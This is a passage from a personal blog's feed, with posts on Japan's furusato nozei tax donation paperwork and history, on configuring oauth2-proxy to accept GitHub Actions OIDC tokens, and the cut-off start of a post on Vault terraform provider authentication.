&lt;p&gt;To receive the tax refund/break, there is some necessary paperwork with two main options:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.town.niseko.lg.jp/chosei/furusato_tax/one_step/?wovn=en&quot;&gt;one-stop exception&lt;/a&gt;: this is a simplified process for people fitting the following criteria:
    &lt;ul&gt;
      &lt;li&gt;they don’t need to file tax return. This is usually company employees where the company takes care of their taxes, their income is less than 20 million yen and they don’t have any other deduction (e.g. medical expenses), or other income (e.g. capital gain/divident where the brokerage doesn’t withhold taxes).&lt;/li&gt;
      &lt;li&gt;they only donated to 5 municipalities or less in the calendar year. The limit is on the number of donation destinations, so making multiple donations to the same city still only count as one.&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;If one  is eligible, they should indicate this when making the donation (there is usually a checkbox on the donation website), and then the receiving city will send a form to fill out and return. &lt;strong&gt;Important:&lt;/strong&gt; these forms &lt;a href=&quot;https://mailmate.jp/blog/furusato-nozei#:~:text=Applications%20for%20the%20One%2DStop,10th%20of%20the%20following%20year.&quot;&gt;need to arrive to the cities by January 10th the next year&lt;/a&gt;, which can be a problem if you donate late December, as many city halls close early for the year-end holidays.&lt;/p&gt;

    &lt;p&gt;If the municiplaity doesn’t send you the form, the Ministry of Internal Affairs has a &lt;a href=&quot;https://www.soumu.go.jp/main_content/000397109.pdf&quot;&gt;form&lt;/a&gt; that one can use (see &lt;a href=&quot;https://mailmate.jp/blog/furusato-nozei#:~:text=next%20year%27s%20taxes.-,Step%205.%20Fill%20out%20the%20application%20form.,-Image.%20One%2DStop&quot;&gt;these instructions&lt;/a&gt;). Some donation sites also provide this form, e.g. &lt;a href=&quot;https://www.furusato-tax.jp/about/onestop&quot;&gt;https://www.furusato-tax.jp/about/onestop&lt;/a&gt;.&lt;/p&gt;

    &lt;p&gt;One also needs to attach an ID and proof of My Number to the form. This can be either the My Number card alone, or an accepted ID (e.g. residence card, driving license) and the My Number notification card. More details &lt;a href=&quot;https://www.furusato-tax.jp/about/onestop#section-document-02&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

    &lt;p&gt;Once the forms are returned, there is no other paperwork to do. The receiving cities notify the National Tax Agency and the city you live in (or maybe the NTA does that), and they also let your company know, so that they will withhold less taxes next year.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;the normal process: if one is not eligible for the one-stop exception (they need to file tax return, or donated to more than 5 places), they need to file tax return and include furusato nozei there.
    &lt;ul&gt;
      &lt;li&gt;if filing on paper: after donation the receiving city sends a certificate of donation, which one needs to include with the tax return (&lt;em&gt;though I have never done this, so correct me if I’m wrong&lt;/em&gt;)&lt;/li&gt;
      &lt;li&gt;if filing online: most furusato websites provide a digitally signed xml file (&lt;a href=&quot;https://www.furusato-tax.jp/feature/a/2022_tax_return&quot;&gt;寄附金控除に関する証明書&lt;/a&gt;, Certificate of Donation Deduction) that one can simply upload to the e-Tax website. See &lt;a href=&quot;/2023/07/29/furusato-nozei-with-e-tax/&quot;&gt;my other post on how to do this in detail&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;5-timeline&quot;&gt;5. Timeline&lt;/h1&gt;

&lt;ol&gt;
  &lt;li&gt;One goes to a &lt;a href=&quot;#7.-the-websites&quot;&gt;furusato nozei website&lt;/a&gt;, selects the desired goods and makes a donation (the flow is very similar to shopping on a webshop, including the payment being done via credit/debit card). This can be done anytime during a calendar year, but often done towards the end of the year for a few reasons:
    &lt;ul&gt;
      &lt;li&gt;the maximum amount of refund depends on the amount of tax paid in the year, which in turn depends on the income for the year. This amount is more certain towards the end of the year (otherwise loosing one’s bonus or job might reduce their income, and then they won’t be able to get refund for the entire furusato nozei donation)&lt;/li&gt;
      &lt;li&gt;to minimize the time between making the donation and receiving the refund (the opportunity cost of not investing this money)&lt;/li&gt;
      &lt;li&gt;furusato nozei websites often run campaigns in December (e.g. Amazon Pay often has a &lt;a href=&quot;https://pay.amazon.co.jp/%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E&quot;&gt;2.5-3% cashback campaign&lt;/a&gt; (&lt;a href=&quot;https://web.archive.org/web/20221207121849/https://pay.amazon.co.jp/%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E&quot;&gt;Internet Archive&lt;/a&gt;) during December)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;One receives the donation certificate in the mail with the one-stop exception form (if requested)&lt;/li&gt;
  &lt;li&gt;One receives the selected “thank you” goods&lt;/li&gt;
  &lt;li&gt;One completes the necessary paperwork:
    &lt;ul&gt;
      &lt;li&gt;One-stop exception: simply fill out and return the form sent by the receiving municipality, or&lt;/li&gt;
      &lt;li&gt;File income tax return in February-March next year&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;One gets the money back in the calendar year after the donation was done (&lt;a href=&quot;https://www.soumu.go.jp/main_sosiki/jichi_zeisei/czaisei/czaisei_seido/furusato/faq/#q6&quot;&gt;source&lt;/a&gt;):
    &lt;ul&gt;
      &lt;li&gt;If one-stop exception was used: the residence tax will be reduced by the entire amount donated (minus 2000 yen) starting from June the year after the donation (e.g. for donations in 2022 the residence tax from June 2023 to May 2024 will be reduced)&lt;/li&gt;
      &lt;li&gt;If tax return was filed: the tax refund/break is split into national income tax and residence tax. The national income tax part is refunded when the tax return is processed, and the residence tax portion reduces the residence tax from June (same timeline as above)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;6-history&quot;&gt;6. History&lt;/h1&gt;

&lt;p&gt;To understand the reason for this system, we need to look at the history of it.&lt;/p&gt;

&lt;p&gt;The program &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E&quot;&gt;started in 2008&lt;/a&gt;, without the “thank you” gifts. The problem they wanted to solve was that many young people are moving from the countryside to cities, and their home towns are struggling financially (since a big part of their income comes from local’s residence tax). So the government’s solution was: let these young people send part of there tax back to their home town. But why didn’t the central government simply send money to these countrside towns instead of coming up with this complicated system? I don’t know the official reasons, but with this system part of the money is coming from the other (mostly urban) municipalities where the participants currently live, so the central government doesn’t have to fully foot the bill.&lt;/p&gt;

&lt;p&gt;From 2008 to 2010 the program wasn’t too popular: in each of these year only around 33,000 people participated with an overall donation amount of 7 million yen per year. From 2011 the numbers start to increase (likely due to the ‘thank you gift’ system becoming widespread) reaching 1.3 million people in 2015, 2.2 million in 2016, almost 3 million in 2017 and 4 million in 2018 (&lt;a href=&quot;https://ja.wikipedia.org/wiki/%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E#%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E%E3%81%AE%E5%AE%9F%E7%B8%BE%E9%A1%8D&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;However since the ‘thank you gifts’ were not part of the original plan, there was no regulations about them. Initially cities would send their local specialities, but later as the program gathered steam, some places started to game the system and offer things like Amazon Gift cards in exchange for the donation. However this led to cities trying to out bid each other (why donate to a city for 10% cash back gift card if another city offers 12%) reaching to &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E#%E5%9C%B0%E5%A0%B4%E7%94%A3%E5%93%81%E9%99%90%E5%AE%9A%E3%83%BB%E9%81%8E%E5%BA%A6%E3%81%AA%E8%BF%94%E7%A4%BC%E7%8E%87%E5%95%86%E5%93%81%E7%A6%81%E6%AD%A2%E3%81%AE%E6%94%B9%E6%AD%A3:~:text=%E3%80%8C%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E%E8%BF%94%E7%A4%BC%E5%93%81%E3%80%8D%E3%81%AB%E9%82%84%E5%85%83%E7%8E%8740%EF%BC%85%E4%BB%A5%E4%B8%8A%E3%81%AE%E6%8F%9B%E9%87%91%E6%80%A7%E3%81%AE%E9%AB%98%E3%81%84%E3%82%AE%E3%83%95%E3%83%88%E5%88%B8%E3%82%84%E5%9C%B0%E5%9F%9F%E3%81%A8%E7%84%A1%E9%96%A2%E4%BF%82%E3%81%AE%E9%AB%98%E7%B4%9A%E5%AE%B6%E9%9B%BB%E3%81%AA%E3%81%A9%E5%88%B6%E5%BA%A6%E3%81%AE%E8%B6%A3%E6%97%A8%E3%81%AB%E5%8F%8D%E3%81%97%E3%81%9F%E3%82%82%E3%81%AE%E3%81%8C%E3%81%82%E3%81%A3%E3%81%9F%E3%81%8C%E3%80%812019%E5%B9%B46%E6%9C%88%E3%81%8B%E3%82%89%E5%AF%84%E4%BB%98%E9%A1%8D30%25%E4%BB%A5%E4%B8%8B%E3%81%AE%E5%B8%82%E5%A0%B4%E4%BE%A1%E6%A0%BC%E3%81%AE%E5%9C%B0%E5%A0%B4%E7%94%A3%E5%93%81%E9%99%90%E5%AE%9A%E3%81%A8%E6%98%AF%E6%AD%A3%E3%81%95%E3%82%8C%E3%81%9F%5B20%5D%E3%80%82&quot;&gt;gift cards with more than 40% returned amount by 2018&lt;/a&gt;. So in 2019 &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E3%81%B5%E3%82%8B%E3%81%95%E3%81%A8%E7%B4%8D%E7%A8%8E#%E5%9C%B0%E5%A0%B4%E7%94%A3%E5%93%81%E9%99%90%E5%AE%9A%E3%83%BB%E9%81%8E%E5%BA%A6%E3%81%AA%E8%BF%94%E7%A4%BC%E7%8E%87%E5%95%86%E5%93%81%E7%A6%81%E6%AD%A2%E3%81%AE%E6%94%B9%E6%AD%A3&quot;&gt;the law was updated&lt;/a&gt; to limit the ‘thank you gifts’ to locally produced items with a maximum 30% value of the donated amount.&lt;/p&gt;

&lt;h1 id=&quot;7-the-websites&quot;&gt;7. The websites&lt;/h1&gt;

&lt;p&gt;I use &lt;a href=&quot;https://www.furusato-tax.jp/&quot;&gt;ふるさとチョイス&lt;/a&gt;, but some other options are &lt;a href=&quot;https://furunavi.jp/&quot;&gt;ふるなび&lt;/a&gt;, &lt;a href=&quot;https://26p.jp/&quot;&gt;ふるさとプレミアム&lt;/a&gt;, &lt;a href=&quot;https://furusatohonpo.jp/&quot;&gt;ふるさと本舗&lt;/a&gt;, and &lt;a href=&quot;https://furusato.mynavi.jp/&quot;&gt;マイナビふるさと納税サイト&lt;/a&gt;. If you are in the Rakuten ecosystem, there is also &lt;a href=&quot;https://event.rakuten.co.jp/furusato/&quot;&gt;楽天ふるさと納税&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;At the end of the day, most of these will be very similar, so don’t stress too much on which one to choose. You can always change it later too.&lt;/p&gt;

&lt;h1 id=&quot;8-my-usual-picks&quot;&gt;8. My usual picks&lt;/h1&gt;

&lt;p&gt;Here are some of the things that I got in the past and liked:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Recurring food deliveries - many places offer to send either the same, or different food every 1 or 2 months for 6-10 or 12 months. For example:
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/26212/5289586&quot;&gt;monthly vetegables from Kyoto&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/01643/4988262&quot;&gt;meat or vegetable every other month from Hokkaido&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/19213/276311&quot;&gt;organic eggs monthly, 10 times&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;I usually look for these by searching for &lt;a href=&quot;https://www.furusato-tax.jp/search?q=12%E5%9B%9E&amp;amp;header=1&amp;amp;target=1&quot;&gt;１２回&lt;/a&gt;. With these I usually forget what will come next month, so it has an additional suprise element. One thing to look out for: the amounts can be huge. Once we got 5 kg of corn (15 corns), so we ended up eating corn every day for 2 weeks. Same when we got 1.6 kg of aspargus.&lt;/p&gt;

    &lt;p&gt;Another potential downside with these is that you have to tell the place if you go for a longer holiday, otherwise they might send it during that. Since most places ship with Yamato, another option we have done is to call Yamato when you get the notification of something coming, and ask them to deliver it to a different address(e.g. friend or family). Yamato offers this for free, but only if you call them.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;one-off food, when we need it:
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/15216/5560113&quot;&gt;Niigata rice&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/01409/4518371&quot;&gt;additive-free smoked bacon&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/23213/5291684&quot;&gt;frozen shrimp&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;The listings usually indicate when they ship it, which is really important to check as some stuff is only shipped after the harvest, which can be months away.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;one-off items where quality is important
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/27213/4992936&quot;&gt;bath towels&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/19202/5617211&quot;&gt;feather comforter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.furusato-tax.jp/product/detail/15213/5075888&quot;&gt;wooden box to store rice&lt;/a&gt; - supposedly also protects the rice from insects and mold&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Authenticating Github workflows with oauth2-proxy</title>
   <link href="https://szabo.jp/2023/07/04/authenticating-github-workflows-with-oauth2-proxy/"/>
   <updated>2023-07-04T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/07/04/authenticating-github-workflows-with-oauth2-proxy</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;https://github.com/oauth2-proxy/oauth2-proxy&quot;&gt;oauth2-proxy&lt;/a&gt; is often used to handle user authentication for apps, however non-human users (e.g. CI workflows) are often unable to complete the OIDC flow.
In this post I will show how to configure oauth2-proxy to trust Github’s OIDC provider and use that JWT to authenticate workflows and give them access to the app behind the proxy.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;1-figure-out-the-jwt-issuer-url&quot;&gt;1. Figure out the JWT issuer URL&lt;/h1&gt;

&lt;p&gt;We are using &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect&quot;&gt;the Github OIDC&lt;/a&gt; feature that allows workflows to obtain a Github-signed JWT.
The &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#:~:text=The%20issuer%20of%20the%20OIDC%20token&quot;&gt;Github docs&lt;/a&gt; say that this is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://token.actions.githubusercontent.com&lt;/code&gt; for github.com, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://HOSTNAME/_services/token&lt;/code&gt; for &lt;a href=&quot;https://docs.github.com/en/enterprise-server@3.9/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#:~:text=The%20issuer%20of%20the%20OIDC%20token&quot;&gt;Github Enterprise&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To limit the scope of the token to this specific use-case, we also need to pick an audience. 
This should be a unique, non-secret value. 
I will pick &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;szabo-jp-example-app&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;2-configure-the-oauth2-proxy&quot;&gt;2. Configure the oauth2-proxy&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://oauth2-proxy.github.io/oauth2-proxy/docs/configuration/overview#:~:text=instead%20of%20stderr-,%2D%2Dextra%2Djwt%2Dissuers,-string&quot;&gt;Oauth2-proxy supports skipping the OIDC flow if a JWT is passed in a header&lt;/a&gt;. 
To configure this we need to add the following two config options:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;--skip-jwt-bearer-tokens&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;--extra-jwt-issuers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://token.actions.githubusercontent.com=szabo-jp-example-app&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--extra-jwt-issuers&lt;/code&gt; config flag holds a list of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;issuer=audience&lt;/code&gt; pairs.
When using a different issuer, make sure it has &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ISSUER/.well-known/openid-configuration&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ISSUER/.well-known/jwks.json&lt;/code&gt;, e.g. github.com has &lt;a href=&quot;https://token.actions.githubusercontent.com/.well-known/openid-configuration&quot;&gt;the former&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;3-configure-the-github-action-workflow-to-obtain-and-use-the-jwt&quot;&gt;3. Configure the Github action workflow to obtain and use the JWT&lt;/h1&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Test Github JWT with oauth2-proxy&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;push&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# permission can be added at job level or workflow level    &lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;id-token&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;write&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# This is required for requesting the JWT&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;read&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# This is required for actions/checkout, that this example actually doesn&apos;t use, but real code probably will&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Test&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;GH_JWT=$(curl -H &quot;Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN&quot; &quot;$ACTIONS_ID_TOKEN_REQUEST_URL&amp;amp;audience=szabo-jp-example-app&quot; | jq -j -c &apos;.value&apos;)&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;curl -v -H &quot;Authorization: Bearer $GH_JWT&quot; https://your-app-behind-oauth2-proxy.example.com/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The workflow &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#adding-permissions-settings&quot;&gt;needs&lt;/a&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id-token: write&lt;/code&gt; permissions, and once this is set, you can &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#updating-your-actions-for-oidc&quot;&gt;call the endpoint that returns the JWT&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Make sure to pass the same audience to the call that you configured with the oauth2-proxy!&lt;/p&gt;

&lt;p&gt;The response is a json, so we use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt; to get only the value.
Note the use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-j&lt;/code&gt; which avoids &lt;a href=&quot;https://github.com/jqlang/jq/issues/1735#issuecomment-520650243&quot;&gt;quoting the token value&lt;/a&gt; (a pretty hard to debug issue, as Github filters the token value in workflow logs).
If this fails, make sure &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt; is installed on the runner.&lt;/p&gt;

&lt;p&gt;Once the JWT is obtained, we can pass it to the oauth2-proxy via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorization: Bearer&lt;/code&gt; header.&lt;/p&gt;

&lt;h1 id=&quot;4-debugging&quot;&gt;4. Debugging&lt;/h1&gt;

&lt;p&gt;If it’s not working, check the oauth2-proxy logs. You might find a message like&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[2023/07/04 07:07:27] [jwt_session.go:51] Error retrieving session from token in Authorization header: no valid bearer token found in authorization header
[2023/07/04 07:07:27] [oauthproxy.go:866] No valid authentication in request. Initiating login.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I found that it’s the easiest to check the &lt;a href=&quot;https://github.com/oauth2-proxy/oauth2-proxy/blob/master/pkg/middleware/jwt_session.go&quot;&gt;project’s source&lt;/a&gt; to see why a certain error is returned.&lt;/p&gt;

&lt;p&gt;If everything is working you should see a log message like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;127.0.0.6 - 3e98af6c-2d10-4b53-fa52-7a7a89f6b824 - repo:markszabo/markszabo.github.io:ref:refs/heads/testing-github-jwt [2023/07/04 07:07:56] your-app-behind-oauth2-proxy.example.com GET / &quot;/debug&quot; HTTP/1.1 &quot;curl/7.81.0&quot; 200 3306 0.055
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;5-identity-of-the-workflow&quot;&gt;5. Identity of the workflow&lt;/h1&gt;

&lt;p&gt;When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--pass-user-headers&lt;/code&gt; config option is set, oauth2-proxy passes the authenticated user’s identity in the headers &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Forwarded-User&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Forwarded-Groups&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Forwarded-Email&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Forwarded-Preferred-Username&lt;/code&gt;.
But now that we are skipping the OIDC flow, what value do these headers get?&lt;/p&gt;

&lt;p&gt;The log output earlier already hinted at it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;X-Forwarded-Email: repo:markszabo/markszabo.github.io:ref:refs/heads/testing-github-jwt
X-Forwarded-User: repo:markszabo/markszabo.github.io:ref:refs/heads/testing-github-jwt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The value is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt; &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#updating-your-actions-for-oidc:~:text=Defines%20the%20subject%20claim%20that%20is%20to%20be%20validated%20by%20the%20cloud%20provider.%20This%20setting%20is%20essential%20for%20making%20sure%20that%20access%20tokens%20are%20only%20allocated%20in%20a%20predictable%20way.&quot;&gt;subject claim&lt;/a&gt; from the JWT, which in case of the Github JWT has the following format: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repo:ORG/REPO:ref:GITHUB_REF&lt;/code&gt;.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GITHUB_REF&lt;/code&gt; &lt;a href=&quot;https://docs.github.com/en/actions/learn-github-actions/contexts#:~:text=GitHub%20Actions.%22-,github.ref,-string&quot;&gt;usually holds the branch name, but not always&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When configuring authorization in your app based on these headers, make sure to include the trailing colon. 
For example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings.HasPrefix(authHeaderVakue, &quot;repo:markszabo/markszabo.github.io&quot;)&lt;/code&gt; will also match other repositories, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;markszabo/markszabo.github.io-other-repo&lt;/code&gt;, so use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings.HasPrefix(authHeaderVakue, &quot;repo:markszabo/markszabo.github.io:&quot;)&lt;/code&gt; to avoid this.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to use the vault terraform provider locally and in a Github action ci workflow at the same time</title>
   <link href="https://szabo.jp/2023/06/18/use-terraform-provider-locally-and-in-ci/"/>
   <updated>2023-06-18T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/06/18/use-terraform-provider-locally-and-in-ci</id>
   <content type="html">&lt;p&gt;In one of my the projects I manage vault resources via terraform. 
The main terraform pipeline runs in a Github action workflow and uses &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault&quot;&gt;Github’s JWT to connect to vault&lt;/a&gt;.
Meanwhile user authentication is done using &lt;a href=&quot;https://developer.hashicorp.com/vault/tutorials/auth-methods/oidc-auth&quot;&gt;vault’s OIDC auth method&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This post will show how to setup the &lt;a href=&quot;https://registry.terraform.io/providers/hashicorp/vault/latest/docs#provider-arguments&quot;&gt;vault terraform provider&lt;/a&gt; so that it uses the Github signed JWT when running in CI, and OIDC authentication when running locally.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;First lets see the provider setup for the two use case separately.&lt;/p&gt;

&lt;h2 id=&quot;the-ci-setup&quot;&gt;The CI setup&lt;/h2&gt;

&lt;p&gt;To authenticate to vault using the Github provided JWT, we can use the &lt;a href=&quot;https://registry.terraform.io/providers/hashicorp/vault/latest/docs#jwt&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth_login_jwt&lt;/code&gt; configuration block&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;provider&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_url&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;auth_login_jwt&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ns_my_project_dev&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;mount&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;jwt&quot;&lt;/span&gt;
